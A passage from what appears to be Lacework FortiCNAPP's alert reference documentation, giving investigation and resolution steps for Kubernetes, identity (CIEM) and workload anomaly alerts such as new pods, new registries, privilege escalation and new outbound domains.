6. Examine the `RoleBinding` objects associated with the namespace. Ensure the correct role is bound to the appropriate users or service accounts. Look for any unauthorized or suspicious role bindings.
7. Utilize monitoring and logging systems to analyze the historical data or audit trail. Look for any indications of unauthorized role creations or suspicious activities related to secret access within the namespace.

Resolution

Follow these steps to resolve the alert:

1. If the role was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized role, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.

K8s Audit Log Workload Created

This alert occurs when Lacework FortiCNAPP detects a new workload, such as a Pod, Deployment, ReplicaSet, or StatefulSet, was created within the cluster.

Why this alert is important

Detecting new workloads allows early identification of unauthorized or malicious deployments in the Kubernetes cluster. It helps prevent potential security breaches, such as introducing compromised containers or unauthorized access attempts.

Investigation

Follow these steps to investigate the alert:

1. Review the logs generated by the Kubernetes cluster to identify any relevant events or activities related to workload creation. Check for log entries that indicate the creation of pods, deployments, or other workload resources.
2. Use the Kubernetes API server to gather information about the newly created workload. Retrieve details such as the workload name, namespace, labels, and associated resources. The API server provides a comprehensive view of the cluster's state and can help identify anomalies.
3. Monitor Kubernetes cluster events to identify any specific events related to workload creation. Kubernetes events capture various actions and changes within the cluster, including creating new workloads. Look for events associated with the workload's namespace, pod, or deployment.
4. Examine the cluster's configuration, including the deployed resources, deployments, pods, and associated services. Verify if the newly created workload aligns with the intended configurations and policies.
5. Analyze the network traffic within the Kubernetes cluster to identify any suspicious communication patterns or unexpected connections originating from the new workload. This can help detect potential malicious activities or unauthorized access attempts.
6. Check the cluster's Role-Based Access Control (RBAC) configuration to verify the permissions associated with the newly created workload. Ensure that the workload has the appropriate permissions and that no unauthorized access has been granted.
7. Engage with the cluster administrators, developers, or other relevant stakeholders to gather additional information about the new workload. Discuss the workload's purpose, intended functionality, and expected behavior to gain insights into its creation.
8. Compare the characteristics of the new workload against the known workloads in the cluster. Look for deviations in naming conventions, resource utilization, labels, or other attributes that may indicate a malicious or unauthorized workload.

Resolution

Follow these steps to resolve the alert:

1. Disable or remove the unauthorized workload from your Kubernetes cluster. This can be done by deleting the associated pods, deployments, or other workload resources. Take necessary actions to ensure that the workload is no longer active and any associated permissions or access granted by the workload are revoked.
2. Determine the source of the unauthorized workload creation. It could be due to a compromised account, misconfigured permissions, or other security vulnerabilities. Investigate the root cause to prevent similar incidents in the future. This may involve reviewing access logs, examining audit trails, or further analyzing the cluster's security posture.
3. Review the Role-Based Access Control (RBAC) configuration of your Kubernetes cluster. Ensure that the RBAC policies are properly configured and that only authorized users or service accounts have permission to create workloads. Adjust the RBAC settings as needed to align with the principle of least privilege.
4. Implement additional security measures to prevent unauthorized workload creation. This can include implementing multi-factor authentication (MFA) for user accounts, regularly updating and patching your Kubernetes cluster, conducting security audits and assessments, and implementing network security controls such as network policies and firewalls.
5. Monitor your Kubernetes cluster for any further unauthorized workload creations or suspicious activities. Implement logging and monitoring solutions to detect and alert potential security breaches. Regularly review logs, monitor cluster events, and analyze network traffic to identify anomalies or unauthorized activities.

6. Educate and train your cluster users on Kubernetes security best practices, including proper access control and reporting unauthorized activities. Encourage them to follow secure coding practices and provide clear workload creation and management guidelines.
7. Implement a change management process that includes reviewing and approving any workload creations or modifications before they are applied to the production environment. This can help ensure all workloads are authorized and adhere to the security requirements.

K8s new registry used

This alert occurs when Lacework FortiCNAPP detects a workload using a K8s registry for the first time.

Why this alert is important

The introduction of a new registry can indicate a legitimate update to the environment or potentially unauthorized activity, such as the deployment of unapproved or malicious containers. Monitoring registry usage is critical to maintaining supply chain security.

Investigation

Follow these steps to investigate the alert:

1. Identify the registry and validate its source and purpose.
2. Confirm whether the new registry aligns with your organization's approved container registries.
3. Investigate associated workloads to ensure they are not deploying unapproved or malicious images.

Resolution

Follow these steps to resolve the alert:

1. Approve the registry if it is legitimate and document the change in your configuration policies.
2. Block access to the registry if it is unauthorized, and remove any workloads deployed from it.
3. Strengthen controls by restricting registry access to approved sources via Kubernetes network policies or admission controllers.

K8s new sensitive access to pod

This alert occurs when Lacework FortiCNAPP detects usage of a sensitive command (kubectl exec/attach/port-forward/debug) on a pod for the first time.

Why this alert is important

Sensitive Kubernetes commands allow direct interaction with running pods and their containers, potentially exposing critical application data or enabling unauthorized control. First-time usage of these commands may indicate legitimate operational needs or potential security threats.

Investigation

Follow these steps to investigate the alert:

1. Identify the user or service account that executed the sensitive command.
2. Review the associated activity logs for context and verify the action aligns with expected operations.
3. Check for additional indicators of compromise (IoCs), such as unexpected API activity or privilage escalation attempts.

Resolution

Follow these steps to resolve the alert:

1. Confirm the legitimacy of the action with the responsible team or individual.
2. Restrict access to sentitive commands through RBAC policies and enforce the principle of least privilege.
3. Audit and monitor future usage of sensitive commands to detect patterns of misuse.

K8s new user access to pod

This alert occurs when Lacework FortiCNAPP detects a user executing a sensitive command (e.g. kubectl exec/attach/port-forward/debug) on a pod for the first time.

Why this alert is important

Sensitive Kubernetes commands allow direct interaction with pod containers, potentially exposing critical data or enabling unauthorized control. A new user executing such commands for the first time may indicate either legitimate operational needs or potential unauthorized activity.

Investigation

Follow these steps to investigate the alert:

1. Identify the user and determine their role and authorization level.
2. Verify the purpose and context of the sensitive command execution.
3. Cross-reference the activity with recent changes, incidents, or deployment logs to ensure it is expected behavior.

Resolution

Follow these steps to resolve the alert:

1. Confirm the legitimacy of the action with the responsible user or team.
2. Restrict sensitive command access to authorized personnal only by refining RBAC policies.
3. Monitor ongoing usage of sensitive commands and look for unusual patterns.

New K8s cluster

This alert occurs when Lacework FortiCNAPP detects a new Kubernetes cluster was created in your environment. Kubernetes is a popular container orchestration tool for managing containerized applications in a cluster environment.

Why this alert is important

A new Kubernetes cluster can introduce unknown security risks into an organization's environment. If the cluster is not properly configured or secured, it can be vulnerable to various attacks, such as data breaches, denial-of-service attacks, and other cyber threats.

Investigation

Follow these steps to investigate the alert:

1. Collect relevant information about the incident. This may include the time and date the incident occurred, the name and details of the new cluster, and the user or entity that created it.
2. Examine the configuration of the new cluster and identify any potential security risks. This may involve reviewing access controls, network policies, and other configuration settings.
3. Evaluate the security posture of the new cluster by reviewing its security controls and assessing its vulnerability to potential threats. This may involve scanning for vulnerabilities and reviewing security logs and other relevant information.
4. Identify any potential security risks or threats associated with the new cluster. This may include vulnerabilities in the container images or applications running in the cluster, misconfigured security controls, or unauthorized access.

Resolution

Follow these steps to resolve the alert:

1. Immediately isolate the malicious cluster by disconnecting it from the network and disabling any access to it.
2. Assess the extent of the damage caused by the malicious cluster, such as identifying any sensitive data that may have been compromised or any unauthorized access that may have occurred.
3. Identify the attack source, such as the person or entity responsible for creating and deploying the malicious cluster.

4. Remove the malicious cluster from the environment, including all associated resources, such as pods, services, and volumes.
5. Implement appropriate security measures to prevent similar attacks from occurring in the future. This may include implementing access controls, network security policies, and vulnerability management processes.
6. Notify relevant parties, such as internal teams or external customers, about the attack and the steps to mitigate it.
7. Review your organization's policies and procedures for creating and managing Kubernetes clusters to ensure that they are followed and that appropriate security measures are in place.

New K8s pod

This alert occurs when Lacework FortiCNAPP detects a new pod was created within a Kubernetes cluster.

Why this alert is important

A pod is the smallest deployable unit in Kubernetes, representing a single instance of a running process in a cluster. When a new pod is created, it is assigned a unique IP address and can be scheduled to run on any node in the cluster.

A pod creation can be significant because it represents a new potential attack surface in the Kubernetes environment. If a malicious actor can create and deploy a new pod, they may be able to launch further attacks against the cluster or the applications running on it.

Investigation

When investigating a newly created K8s pod, there are several steps you can take to gather more information and assess the potential security implications, including:

1. Check the source of the pod creation by reviewing logs from your Kubernetes cluster or your security monitoring tools to identify the source of the incident.
2. Review pod configuration details, including the pod's name, labels, container image, and associated services or endpoints.
3. Look for any signs of suspicious activity associated with the new pod. This may include unusual network activity, unexpected resource utilization, or attempts to connect to external hosts.
4. Check the access controls for the new pod to ensure that only authorized users or services have access to it. This may involve reviewing Kubernetes RBAC policies, network policies, and other security configurations.
5. Review any dependencies associated with the new pod, such as storage volumes or other resources. Look for any potential vulnerabilities or misconfigurations that attackers could exploit.
6. Assess the potential impact of the new pod on your Kubernetes environment and applications. Determine whether the pod is running in a critical part of your infrastructure and whether it poses a significant security risk.

Resolution

If you have determined that a new K8s pod is malicious, immediately isolate and remove it from your Kubernetes environment. You can do this by using the `kubectl delete pod` command or by editing the YAML file for the pod and setting the desired number of replicas to `zero`.

After that, follow these steps to resolve the alert:

1. Check the access controls for the pod to ensure that only authorized users or services have access to it. This may involve reviewing Kubernetes RBAC policies, network policies, and other security configurations.
2. Remove any associated resources that may have been created by the malicious pod, such as storage volumes or other resources.
3. Harden your security to prevent similar attacks from occurring in the future. This may involve implementing stricter access controls, using network segmentation, and regularly reviewing your security configurations.
4. Monitor your Kubernetes environment for any signs of malicious activity. Use security monitoring tools to identify and respond to threats in real-time.

New K8s webhook change

This alert occurs when Lacework FortiCNAPP detects a user on your Kubernetes cluster successfully created or updated a Kubernetes Webhook configuration.

Why this alert is important

Kubernetes Webhooks allow dynamic configurations for cluster operations. Unauthorized changes may indicate malicious activity or configuration errors that could compromise cluster security.

Investigation

Follow these steps to investigate the alert:

1. Identify the user or process responsible for the Webhook change.
2. Verify the legitimacy of the change by cross-checking with recent deployment or configuration updates.
3. Look for ususual activity in the cluster, such as privilege escalation attempts or unauthorized API calls.

Resolution

Follow these steps to resolve the alert:

1. If unauthorized, revert the Webhook to its previous configuration.
2. Implement stricter RBAC policies to limit Webhook changes.
3. Monitor the cluster for further suspicious activity and enforce audit logging.

New K8s Workload Created With Privilege Escalation

This alert occurs when Lacework FortiCNAPP detects a pod that can escalate its privileges.

Why this alert is important

After escalating their privileges, an attacker gains the ability to exploit various escalation paths, including:

- Mounting arbitrary secrets in the namespace:
  - This allows the attacker to access secrets intended for other workloads.
  - They can potentially obtain sensitive information by leveraging these secrets.
- Utilizing arbitrary Service Accounts in the namespace:
  - The attacker can impersonate other workloads and perform actions on the Kubernetes API.
  - They can execute privileged actions associated with the impersonated Service Account.
- Mounting configmaps intended for other workloads in the namespace:
  - By doing so, the attacker can obtain information meant for other workloads.
  - This may include sensitive details like database host names.
- Mounting volumes intended for other workloads in the namespace:
  - This enables the attacker to access and manipulate information intended for other workloads.
  - They can modify the data stored in these volumes, potentially leading to unauthorized changes.

Investigation

Follow these steps to investigate the alert:

1. Check if the suspicious workload has mounted secrets that are not intended for its use. Look for any unauthorized access or attempts to access secrets meant for other workloads.
2. Investigate if the user uses a different service account than the one assigned. Look for any impersonation attempts or unauthorized use of service accounts with higher privileges.
3. Examine if the workload has mounted configmaps that belong to other workloads within the namespace. This can indicate an attempt to obtain information meant for other workloads.
4. Check if the suspicious workload has mounted volumes that are intended for other workloads. This could suggest an attempt to access or modify data meant for other workloads.
5. Examine the permissions and access granted to the suspicious workload. Verify if the workload has been granted excessive privileges or if it can access resources that it shouldn't have access to. Look for indications that the user has expanded their privileges beyond what is authorized.

Resolution

Follow these steps to resolve the alert:

1. Identify the unauthorized workload associated with the privilege escalation and take immediate action to disable or remove it from the Kubernetes cluster. This will help prevent further unauthorized access.

2. Review and update the permissions and access controls for the affected namespace. Remove any escalated privileges granted to the unauthorized workload or user. Ensure that only necessary permissions are granted based on the principle of least privilege.
3. Conduct a thorough audit of other workloads and service accounts within the namespace. Look for any additional unauthorized access or suspicious activity. Remove unnecessary or unused service accounts or workloads to reduce the attack surface.
4. Evaluate your Kubernetes cluster's Role-Based Access Control (RBAC) configuration. Ensure that it aligns with best practices and follows the principle of least privilege. Review and update roles, role bindings, and cluster roles to ensure proper authorization.
5. Determine how the privilege escalation occurred. Investigate whether it was due to a misconfiguration, vulnerabilities, compromised credentials, or other security issues. Address the root cause to prevent similar incidents in the future.
6. Strengthen the security of your Kubernetes cluster by implementing additional security measures. This may include enabling multi-factor authentication (MFA) for user accounts, regularly patching and updating the cluster, and implementing logging and monitoring solutions to detect and respond to security incidents.
7. Monitor your Kubernetes cluster for any further unauthorized access attempts or suspicious activities. Implement real-time monitoring, alerting, and incident response mechanisms to detect and respond to security incidents quickly.

New K8s Workload Created With Host Access

This alert occurs when Lacework FortiCNAPP detects a workload was created with access to host resources.

Why this alert is important

Generally, most application workloads need limited access to host resources to run successfully as a root process (uid 0) without access to host information. Workloads with access to the host can bypass the containerization and isolation provided by Kubernetes. They can potentially access and manipulate sensitive resources on the host, such as system files, network configurations, and other containers running on the same host. This can lead to unauthorized data access, data leakage, or compromise of the entire host.

Investigation

Follow these steps to investigate the alert:

1. Examine the Kubernetes cluster configuration, including `ClusterRoleBinding` and `ClusterRole`, to identify any roles or permissions that grant access to the host. Look for any misconfigurations or unauthorized role bindings.
2. Review the Kubernetes audit logs to identify any relevant events or activities related to creating the workload with host access. Look for log entries that indicate the creation of privileged workloads, modifications to RBAC settings, or suspicious activity that could suggest unauthorized access to the host.
3. Analyze the specifications of the created workloads, particularly the Pod manifests, to identify any privileged settings or volumes mounted from the host. Look for indicators such as hostPath volumes, privileged containers, or capabilities that grant broad host access.

4. Monitor the network traffic within the Kubernetes cluster to detect any unusual communication patterns or traffic originating from the privileged workload. Look for connections to the host IP or suspicious network activities that could indicate unauthorized access.
5. Dive into the logs generated by the container runtime to identify any abnormal behavior or evidence of unauthorized access to the host. Look for logs related to container escapes, direct interactions with host resources, or unauthorized modifications to host-level configurations.
6. Perform runtime monitoring, threat detection, and vulnerability scanning to identify potential security risks and anomalies within the Kubernetes environment, including workloads with host access.
7. If there is suspicion of a security incident or compromise, conduct a forensic analysis of the affected host and workloads. Collect and analyze system logs, file system artifacts, and other relevant data to determine the extent of the access, identify potential attacker activities, and establish a timeline of events.

Resolution

Follow these steps to resolve the alert:

1. Immediately disable or remove the unauthorized workload from the Kubernetes cluster. This helps prevent unauthorized activities and limits the potential impact on the host and other workloads.
2. Perform a thorough analysis of the host system to identify any unauthorized modifications, malicious artifacts, or potential backdoors. This may involve conducting a forensic investigation or utilizing security tools to identify and remediate any vulnerabilities or unauthorized changes on the host.
3. Evaluate the RBAC (Role-Based Access Control) configuration and permissions within the Kubernetes cluster. Identify any misconfigurations or unauthorized privileges that allowed the workload to access the host. Update the RBAC settings to ensure only authorized workloads have appropriate access levels, and revoke any unnecessary privileges.
4. Verify that the host system, container runtime, and Kubernetes components are up-to-date with the latest security patches and updates. This helps protect against known vulnerabilities and strengthens the overall security posture of the cluster.
5. Apply security best practices to harden the host system and Kubernetes environment. This includes configuring appropriate network policies, securing communication channels, enabling audit logging, implementing container isolation, and enforcing strict security controls to minimize the attack surface.
6. Perform regular security audits and assessments of the Kubernetes environment to identify any security gaps or potential vulnerabilities. This can include vulnerability scanning, penetration testing, or engaging third-party security experts to assess the overall security posture and provide recommendations for improvement.
7. Implement robust monitoring and logging mechanisms to detect future unauthorized access attempts or suspicious activities within the Kubernetes cluster. Use tools and technologies such as intrusion detection systems, log analysis solutions, and real-time monitoring to proactively identify and respond to security incidents.

CIEM alerts reference

This section provides information about identity-related alerts.

For more information about the CIEM policies that trigger these alerts, see .

For each documented event, the following information is provided:

- A description of the alert.
- Information about how to resolve the alert.

CIEM Risky Unused Identity

This alert is triggered when identities that have a risk severity of CRITICAL or HIGH and haven't been active in the last 180 days are detected. There have been no activities through console access (password) or keys for these identities.

Remediation

1. Review the identity and determine if it is still required.
2. If the identity is no longer required, delete the identity.
3. If the identity is still required, make sure that the identity is secured and that the identity's access keys are rotated regularly.

CIEM Critical Identity Risk

This alert is triggered when identities with a critical risk severity are detected. Identities that are deemed critical by CIEM assessment are flagged by the policy that triggers this alert. This applies to used and unused identities that have risk properties such as:

- ALLOWS_PRIVILEGE_PASSING
- ALLOWS_CREDENTIAL_EXPOSURE
- ALLOWS_FULL_ADMIN

Remediation

1. Review the identity and determine if all the permissions are required.
2. Apply the principle of least privilege to the identity.

CIEM Identity With Excessive Permissions

This alert is triggered when identities with excessive privileges (more than 75% unused) are detected. This applies to identities with a risk severity of CRITICAL or HIGH and with more than 75% of the assigned permissions being unused.

Remediation

1. Review the identity and determine if all the permissions are required.
2. Apply the principle of least privilege to the identity.
3. Remove excessive permissions from the identity.

CIEM Hardcoded Keys

This alert is triggered when identities with hardcoded keys on a compute instance are detected.

Hardcoded keys are reported by agentless scanning.

Remediation

1. Review the identity and determine if all the permissions are required.
2. Apply the principle of least privilege to the identity.
3. Remove excessive permissions from the identity.

CIEM AWS Identity With Unused Access Keys

This alert is triggered when AWS identities are detected with a risk severity of CRITICAL or HIGH that have had an access key that has not been used for more than 180 days.

Remediation

1. Review the identity and determine if it is still required.
2. Disable the unused access keys or delete them if they are no longer required.

CIEM AWS Identity With Unrotated Access Keys

This alert is triggered when AWS identities are detected with a risk severity of CRITICAL or HIGH that have an access key that has not been rotated for more than 90 days.

Remediation

1. Rotate the identity's access keys.
2. Update the application with the new keys.

Workload alerts reference

This section provides information about the available workload security alerts.

After you install the Lacework FortiCNAPP agent on hosts, Lacework FortiCNAPP scans the hosts and sends select metadata to the Lacework FortiCNAPP data warehouse to build a baseline of normal behavior, which is updated hourly. From this, Lacework FortiCNAPP can provide detailed in-context events for anomalous behavior by comparing each hour to the previous one. Anomaly detection uses machine learning to determine, for example, if a machine sends data to an unknown IP, or if a user logs in from an IP that has not been seen before.

For each documented alert, the following information is provided:

- A summary of the alert.
- Why the alert is important.
- Information about investigating the event that triggered the alert.
- Information about how to resolve the alert.

Terminology

Here is some terminology used in the event descriptions:

- *Unknown internal host*: An internal host that is not running a Lacework FortiCNAPP agent, which is identified by an IP address.
- *Unknown external host*: An external host that is seen by Lacework FortiCNAPP for the first time. External hosts are identified by their domain name. If a domain name cannot be associated with the host, identification is by public IP, which may be shared.

For details about the alert categories, see Alert categories on page 18.

New Application

This alert occurs when Lacework FortiCNAPP detects the execution of a newly introduced software that has never been run within your entire cloud deployment in the past 90 days. The new software can be in any of the following forms:

- A container image (such as from docker.io) that is currently running on a cluster.
- A newly introduced software binaryrunning on a host.

For interpreters such as Java and Python, any new main program files (such as the main class or JAR file in Java) will be classified as new software binaries.

Why this alert is important

Malicious entities use different attack vectors to execute newly introduced software. Whether they are external parties or internal users controlled by outsiders (due to credential theft), executing new software is often crucial for a successful attack. Attackers commonly rely on "living off the land" tactics, leveraging existing software on a host or container image, even if it has not been executed before. Therefore, the initial execution of any new software raises security concerns.

Why this might be just fine

New software is regularly introduced in cloud environments, including new binaries, processes, and container images. Simply detecting new software does not automatically imply a security breach. However, it is important for the security team to monitor and confirm the intended use of new software, especially if it deviates from established operational practices. In some cases, alerts for routine software updates may require minimal investigation.

Investigation

In many instances, a prompt communication with your DevOps peers can verify the intended use of the new software. However, there might be situations where the DevOps team is uncertain about the new software. In such cases, the security team needs to exercise judgment and potentially initiate further investigation. For example, if a host that has remained without software updates for an extended period suddenly executes new software binaries, it raises suspicion and necessitates an investigation.

The security team can validate credential usage, review CI/CD logs, SSH sessions, or monitor other potentially suspicious activities on the host or container.

Here are the steps you can follow to triage this issue:

1. Is this binary harmless and intended for execution?
   - To gather more information about the binary, including a file hash for cross-checking with VirusTotal, click the application name in the *Alert Description* to access the application dashboard.
2. Is this behavior expected or indicative of malicious activity?
3. How was this binary initiated?
   - Who initiated the process?
     - Refer to the *Who* section under the *Details* tab to identify the user responsible for executing the process.
   - Was the execution related to a regular ticketed task?
     - Check if there is a corresponding Jira, Snowflake, or similar ticket that provides context for the deployment of this new application.
4. Is this machine directly accessible from the internet?
   - You can verify this by checking the *Exposure Polygraph* located under the *Exposure* tab in the *Alert Details*.
5. What are the access privileges of this machine, resource, or identity?
6. Are any hard-coded secrets stored on the resource or machine?
   - You can verify this by checking the *Exposure Polygraph* located under the *Exposure* tab in the *Alert Details*.
7. What data is stored on this machine or resource, and what data does it have access to?

8. If this is deemed malicious:
   - What was the initial infection vector?
   - Are other machines on the network impacted?
     - To gather more information about other machines running this application or binary and the associated command line options, click the application name in the *Alert Description* to access the application dashboard.
   - Was lateral movement observed?
   - Was any data exfiltrated?
   - What level of access does the attacker have?

Resolution

If it appears to be possible malicious use of an existing administrative tool, review logs from both source and destination machines. Disable the user and take the necessary steps to restore either host to a known, clean state.

New Child Launched

This alert occurs when Lacework FortiCNAPP detects a process on a host running the Lacework FortiCNAPP agent launches a child process for the first time.

Why this alert is important

An unauthorized child process may cause any number of risks to the host and network, such as running non-approved software and terminal sessions, introducing unapproved file, and launching unauthorized terminal sessions. List of data center processes is for the most part static. New applications are sometimes introduced as part of service offering or internal tooling changes, but their introduction may indicate malicious activity.

Investigation

Identify the new child process. Is its introduction expected? If not, research the application and its purpose. Perform local forensics, look for signs of lateral movement.

Resolution

Determine if the process and its use are expected and benign. If it appears to be possible malicious use of an existing administrative tool, review logs from both source and destination machines. Disable the user and take the necessary steps to restore either host to a known, clean state.

New Child Launched From Vulnerable Application

This alert occurs when Lacework FortiCNAPP detects a vulnerable software application has been exploited by an attacker, allowing them to execute additional code on the system. This additional code is often called a "child process" or "child application" that is launched by the vulnerable parent application.

Why this alert is important

This type of alert is significant because it indicates that an attacker has gained unauthorized access to a system and attempted to execute malicious code. The child application may be designed to perform various malicious activities, such as stealing sensitive data, installing malware or backdoors, or launching further attacks on other systems.

Investigation

Follow these steps to investigate the alert:

1. Identify the vulnerable application that triggered the alert. Look for logs or notifications indicating which application was involved.
2. Determine the nature of the vulnerability. Research the application and its known vulnerabilities to better understand what may have caused the event.
3. Review system logs and other relevant data. Look for any anomalous behavior, such as unexpected network traffic or unusual file activity, that may indicate a security breach or compromise.
4. Identify the child process that was launched. Determine the purpose and function of the child process and whether it is authorized to run on the system.
5. Analyze the behavior of the child process. Look for suspicious activity, such as attempts to access sensitive data or create new processes.
6. Assess the potential impact of the incident. Determine whether sensitive data or systems may have been compromised and take appropriate action to mitigate the risk.

Resolution

Use the following steps to resolve this alert:

1. Patch or update the vulnerable application to the latest version to eliminate known security vulnerabilities.
2. Implement security controls such as firewalls, intrusion detection systems, and antivirus software to help detect and prevent any unauthorized or malicious activities on the system.
3. Regularly monitor system logs and other activity to detect any signs of unauthorized access or malicious activity and take appropriate action to remediate any identified issues.

New External Client DNS

This alert occurs when Lacework FortiCNAPP detects a new external client's DNS request is made to a system or network for the first time.

The alert indicates that an external client, such as a computer or device outside of the organization's network, has attempted to establish a connection with the network by making a DNS request. DNS requests translate human-readable domain names into IP addresses that can be used to establish network connections.

Why this alert is important

Monitoring new external client DNS requests is important to detect potential threats or unauthorized access attempts. You can use this alert to identify new external clients attempting to connect to their network and take appropriate action to investigate or block any suspicious activity. In some cases, the alert may be benign and represent legitimate network activity, but in other cases, it may indicate an attempted attack or compromise of the network.

Investigation

Investigating this alert involves analyzing the alert data and performing additional network and system checks to determine the nature and intent of the external client's connection attempt.

Follow these steps to investigate the alert:

1. Review the incident’s data for information on the external client's IP address, the DNS query made, the domain name queried, and the timestamp of the request. This information can help determine the location of the external client and whether the request was made during known business or non-business hours.
2. Verify that the domain name queried is legitimate and not a malicious domain name used in phishing or other types of attacks. Use threat intelligence sources to check if the domain has a known reputation for malicious activity.
3. Determine if the external client IP address is on any blocklists or known to be associated with malicious activity. Use IP reputation services to check if the IP address has a known history of attacks or has been previously associated with suspicious activity.
4. Review network logs to determine if the external client's connection was successful and if any data was transferred during the connection. Look for signs of suspicious activity, such as repeated connection attempts, large data transfers, or attempts to access unauthorized resources.
5. Conduct additional checks, such as port scanning and vulnerability assessments, to determine if the external client is attempting to exploit any known vulnerabilities or gain unauthorized access to the network.

Resolution

Resolving this alert involves taking appropriate measures to mitigate any identified risks or threats to your organization. Here are some suggested steps:

1. If the external client's IP address is associated with malicious activity, block the IP address using firewall rules or other access control mechanisms.

2. Review security policies and procedures to ensure they are up-to-date and effective in preventing unauthorized access and other security threats.
3. Implement DNS filtering: Use DNS filtering to block access to known malicious domains and to prevent employees from accessing unauthorized sites.
4. Conduct employee training: Conduct employee training to educate staff on the risks associated with unauthorized access and the importance of adhering to security policies and procedures.
5. Update security controls such as firewalls, intrusion detection systems, and antivirus software to ensure that they effectively detect and prevent security threats.
6. Conduct continuous monitoring of network traffic and DNS requests to identify and mitigate future security threats.

New External Client IP Address

This alert occurs the first time Lacework FortiCNAPP detects any external client IP address connecting to an internal host running a Lacework FortiCNAPP agent. This is the first time inbound (ingress) connections from external IP addresses have been observed in this account.

Why this alert is important

This alert may indicate that an IP address is attempting to connect to an Internet-facing service in your infrastructure. These connection attempts may include automated port scanning, service discovery, brute-forcing, or application exploitation. Such an alert may highlight services that have been mistakenly exposed to the Internet.

Investigation

Investigate threat tags and any open source information to determine what activity has been associated with this IP address in the past. Examine the number of connections and size of data transfer for the connections to determine if meaningful data has been transferred - over 10 KB per connection. If available, review any relevant or useful logs for successful login activity from the remote IP.

Resolution

Determine if the activity associated with IP was successful. If successful, inspect for signs of persistence and lateral movement. If determined to be malicious, block future communications from the IP.

New External Client IP Address Connection

This alert occurs the first time Lacework FortiCNAPP detects an external client IP address connecting to an internal host running a Lacework FortiCNAPP agent. This is the first time inbound (ingress) connections from an external IP address

have been received by this particular host in this Lacework FortiCNAPP account.

Why this Alert is Important

This alert may indicate that an IP address associated with an attack is attempting to connect to an Internet-facing service in your infrastructure. These connection attempts may include automated port scanning, service discovery, brute-forcing, or application exploitation. Such an event may highlight services that have been mistakenly exposed to the Internet.

Investigation

Investigate threat tags and any open source information to determine what activity has been associated with this IP address in the past. Examine the number of connections and size of data transfer for the connections to determine if meaningful data has been transferred - over 10 KB per connection. If the target application requires a password, review logs for successful login activity from the remote IP.

Resolution

Determine if the activity associated with IP was successful. If successful, inspect for signs of persistence and lateral movement. If determined to be malicious, block future communications from the IP. Additionally, determine if the application in question should be Internet-accessible.

New External Client IP Address Connection To Vulnerable Application

This alert occurs when Lacework FortiCNAPP detects an external client with a previously unknown IP address connected to a vulnerable application within an organization's network.

This alert can indicate a potential security threat as the new external client IP address may be associated with malicious activity or unauthorized access.

Why this alert is important

Detecting and investigating this alert is important to ensure the security of your organization's network and prevent any potential data breaches or security incidents.

Investigation

Follow these steps to investigate the alert:

1. Check the logs or security tools to determine the IP address of the external client that established the new connection. Look for any signs of malicious or suspicious behavior, such as multiple failed login attempts or unusual access patterns.
2. Review the vulnerability or weakness that the external client is attempting to exploit. This could include a known software vulnerability or misconfiguration in the application, web server, or network.
3. Evaluate the incident's potential impact on the organization's systems, data, and operations. Consider the level of access the external client may have gained and what actions they may have taken.
4. Collect as much information as possible about the external client, such as the country of origin, time and date of the connection, and any other relevant metadata. This information can help identify activity patterns and assist with future threat hunting.

Resolution

Follow these steps to resolve the alert:

1. Immediately block the IP address and prevent any further unauthorized access. Assess the vulnerability and implement any necessary patches, updates, or security controls to prevent similar attacks from occurring in the future.
2. Verify that the connection was unauthorized and that the client is not a legitimate user. If the connection was malicious, conduct further analysis to determine the scope and impact of the attack and take appropriate response measures, such as containment, eradication, and recovery.
3. If a legitimate user initiated the connection, investigate why it was not authorized and take steps to ensure that it does not happen again.
4. Consider implementing security controls such as intrusion prevention and detection systems, access controls, and vulnerability management to prevent similar incidents.

Outbound Connection to New Domain From Application

This alert occurs when Lacework FortiCNAPP detects an outbound connection from a software application in your cloud deployment to an external domain that has not been accessed in the past 90 days. Lacework FortiCNAPP uses reverse IP lookup to determine the destination domain by correlating DNS queries and network connections in your cloud environment. Domain names are grouped based on their second-level domain, except for AWS domains, which are grouped by service name (for example, ec2.amazonaws.com). This categorization enhances organization and analysis of connection data in Lacework FortiCNAPP.

Why this alert is important

In cloud deployments, software typically demonstrates consistent network behaviors, making new access to external domains a potential cause for investigation, particularly if the domain is unrelated to business operations.

Why this might be just fine

New tools are regularly introduced in cloud environments, which can result in accessing new domains that are necessary for their operation, including those owned by the software vendor. Therefore, the presence of a new domain alone does not automatically indicate a security breach. Nonetheless, it is important for the security team to monitor the behavior of all newly introduced software.

Certain use cases inherently require access to new domain names. For instance, reputation systems that browse user-supplied URLs or marketing software that gathers intelligence from across the web. Lacework FortiCNAPP identifies such software or hosts that interact with a significant number of external domains within your deployment. It aggregates these connections to avoid triggering alerts for individual domains. Further customization options for alert criteria can be found at Suppress Crawler-Related Alerts.

Investigation

Each alert of this nature requires an initial investigation. Consider the following steps:

1. Gather information about the domain:
   - Is it a domain owned by your company or a trusted third-party?
   - Check the Whois registration and historical records to identify the domain's owner.
   - Look for any known threat information associated with the domain.
2. Identify the originating software and assess its normal behavior by reviewing its historical connections. To access the application dashboard, click the application name in the *Alert Description*. Examine the external connection details and *Polygraph* sections to determine if the software typically establishes external connections.
   - Determine the user responsible for the connection by reviewing the *Who* section.
   - Determine the volume of exchanged data (both directions), focusing on significant amounts exceeding 10KB.
3. Investigate if the egress connection is related to the software supply chain. Check for recent software updates, particularly if a new version of a library introduced an external dependency. This check can be performed in tools such as Jira, ServiceNow, GitHub, or GitLab, depending on your organization.
4. If any findings appear suspicious, escalate the investigation. Look for patterns in logs related to the domain and involve your DevOps peers to gather their insights and opinions.

Resolution

If the connection appears to be the result of malicious use of an existing administrative tool, malware, or an exploited application, review logs from the host. If the machine is compromised, take the necessary steps to restore the affected systems to a known, clean state.

Outbound Connection to New Domain From Host

This alert occurs when Lacework FortiCNAPP detects an outbound connection from your cloud deployment to an external domain that has not been accessed in the past 90 days. Lacework FortiCNAPP uses reverse IP lookup to determine the destination domain by correlating DNS queries and network connections in your cloud environment.

Domain names are grouped based on their second-level domain, except for AWS domains, which are grouped by service name (for example, ec2.amazonaws.com). This categorization enhances organization and analysis of connection data in Lacework FortiCNAPP.

Why this alert is important

In cloud deployments, software typically demonstrates consistent network behaviors, making new access to external domains a potential cause for investigation, particularly if the domain is unrelated to business operations.

